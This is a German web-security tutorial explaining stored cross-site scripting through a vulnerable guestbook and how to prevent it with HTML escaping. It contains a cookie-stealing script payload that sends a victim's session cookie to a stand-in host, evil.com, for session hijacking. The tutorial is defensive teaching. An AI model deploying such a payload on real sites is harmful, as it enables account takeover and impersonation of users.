Tutorials
[ Zurück ]


Webseitenangriff: XSS


Hallo liebe Freunde der Webanwendungssicherheit!

der Zweite Teil der "Wie greife ich eine Website an"-Serie

!!WICHTIG!! Die Erklärung hier dient nur der Nachvollziehbarkeit des Angriffes,
!!WICHTIG!! sie sollte auf keinen Fall bei anderen Angewendet werden!
!!WICHTIG!! Es ist eine "Know-Your-Enemie" Erklärung!!


Ihr habt schon vom Bösen XSS gehört. Habt ihr euch dann gefragt "Was ist das?", "Wie Funktioniert das?". Wenn ja dann seit ihr hier falsch, denn dann habt ihr euch schon mit dem Thema auseinandergesetzt und hoffentlich schon Maßnahmen ergriffen. Wenn ihr euch weder damit beschäftigt noch reagiert habt dann seit ihr richtig!

XSS - Was ist das?
XSS - Cross Site Scripting - ist die das Ausnutzen der Möglichkeit, auf einer Website HTML und Javascript code einzubinden, der dann vom nächsten Besucher ausgeführt wird. Damit sind Techniken wie das Session Hijacking (dazu später mehr) möglich. Man benötigt dazu nur einen Browser, minimalstes Verständnis in HTML und Javascript, einen Webspace und einen Brocken Kreativität.

XSS - Wie funktioniert das?

XSS baut darauf auf, dass man mit HTML selbstformatierten Text in ein Formular eingeben kann, das anschließend beim nächsten Benutzer so angezeigt wird, wie wir ihn Formatiert haben. Gehen wir in die "echte Welt": Ich bin Webprogrammierer, der ein Gästebuch verwaltet. ihr seid der Angreifer.

Zuerst zu mir: mein Gästebuch speichert alles was der User mir schickt in eine Datenbank. Vorher überprüfe ich natürlich auf SQL-Injection (siehe http://www.cwcity.de/tutorials/view/472-SQL-Injection_und_Prevention) und speichere es ab. Wenn ein Besucher meine Gästebuch besucht, lade ich die Daten - wie sie eingegeben worden sind - direkt beim Nutzer "auf den Bildschirm".

Nun zu euch: Ihr wollt eurem Feind - "Horst" - der ebenfalls auf meiner Seite User ist möglichst etwas böses tun. Ihr wisst er schaut Täglich in das Gästebuch.
Um ihn zu Ärgern verwendet ihr "Session Hijacking". Kurz zu den Basics dahinter: Da HTML keine konstante Verbindung zum Server erhält muss der Nutzer Identifiziert werden, mit einer Nummer oder Zahlenkolonne - der Session ID. Diese ist für jeden Nutzer auf der Seite einzigartig und identifiziert ihn eindeutig.
Die Session ID wird entweder an die URL angehängt oder als Cookie gespeichert.
Klingt doch so als könntet ihr das verwenden, um zu Horst zu werden und an seine Freunde böse Nachrichten zu versenden?

Wie kommen wir also an die Session ID von Horst?
Schauen wir uns mal Javascript an: in der Variable "document.cookie" sind alle Cookies - auch der Sessioncookie - aufgelistet!

Wie bekommen wir diese Javascript Variable zu uns?
Da kommt das XSS ins Spiel: Ist euch vorhin etwas aufgefallen als ich euch erklärt habe, wie mein Gästebuch funktioniert? Beispielsweise dass die Daten so wie sie eingegeben worden sind beim Nutzer auf dem Bildschirm erscheinen? Also dass, wenn ich das <img> tag verwende ich Beispielsweise ein Bild laden kann? Geht euch ein Licht auf?

Mit Javascript können wir nun einen Schritt weitergehen. Wir haben document.cookie und wir kennen document.write. Und auf eurem Webspace liegt eine datei namens "parameterspeicher.php" auf "evil.com", die alle $_GET-Parameter, mit denen sie Aufgerufen wird, speichert.

Nochmal zurück zum Gästebuch. Wir können nun also auch das <script>-Tag verwenden, also Javascript code ausführen!
Das eröffnet euch als Angreifer folgende Möglichkeit:
<script>document.write("<img src=http://evil.com/parameterspeicher.php?cookie=” + document.cookie + “ alt='Hallo Horst'>");</script>

Gehen wir den Weg nun durch:

Dieses schreibt ihr bei Horst ins Gästebuch. Er ruft es ab und sieht nur "Hallo Horst" (den Alternativtext, da das bild nicht angezeigt werden kann da es kein Bild ist! Das Bild, das aufgerufen wird, kommt von eurer Seite. Diese Speichert nun die Daten von Horst ab, also seine Cookies (die ihr wollt) Nun setzt ihr euren Cookie auf seinen Session Cookie, und schreibt an seine Freundin, dass es aus ist, an seine Mutter dass ihr Drogenabhängig seid, an seinen Chef, dass seine Frau gut im Bett ist und so weiter. Kurz: Ihr zerstört sein Leben.

Wo lag der Fehler / Wie verteidige ich meine Seite?
Der Fehler lag darin, dass ich in meinem Gästebuch HTML zugelassen habe. Es gibt die PHP-Methode "string html_entities(string)" die aus allen "<" ein "&lt" macht und so alle Tags verhindert. Damit nehmt ihr natürlich Spielraum, aber wozu gibt es BB-Codes?

Ihr seht, der Angriff ist hier wieder mit einer einzigen Zeile erledigt! Und ihr als Angreifer müsst euch nun neue Wege suchen, Horst zu Ärgern.

Ich hoffe ich konnte euch der Theorie dahinter Näher bringen, und würde mich freuen wenn ihr SOFORT in eure Website schaut und versucht herauszufinden,
ob ein Angreifer bei euch HTML und Javascript code ausführen kann! !! Wichtig !! Nur das "script"-tag zu verbieten ist nicht genug, denn es gibt auchnoch andere Möglichkeiten JS auszuführen, bsp "onMouseOver" usw!

Grüße Ecknecke

<< Zurück zum Teil 1: SQL-Injection und Prevention
Weiter zu Teil 3: Session Hijacking >>


Erstellt:11.03.11 09:23
Autor: ecknecke

Letzte Änderung: 16.04.11 19:06
Geändert von: ecknecke

Bewertungen:4
Bewertung: 5.0

Freigeschaltet: Ja
Views 4029

Klicke einfach auf einen Stern!
Wollen Sie wirklich das Tutorial löschen?
Wollen Sie wirklich dieses Tutorial zulassen?
Betreff: Report tutorial [id = 474] !
Absender:
Kommentar:
Wollen Sie wirklich dieses Tutorial zulassen?
Absender:
Kommentar:
Folgende User sind hier gerade aktiv:
-

ANZEIGE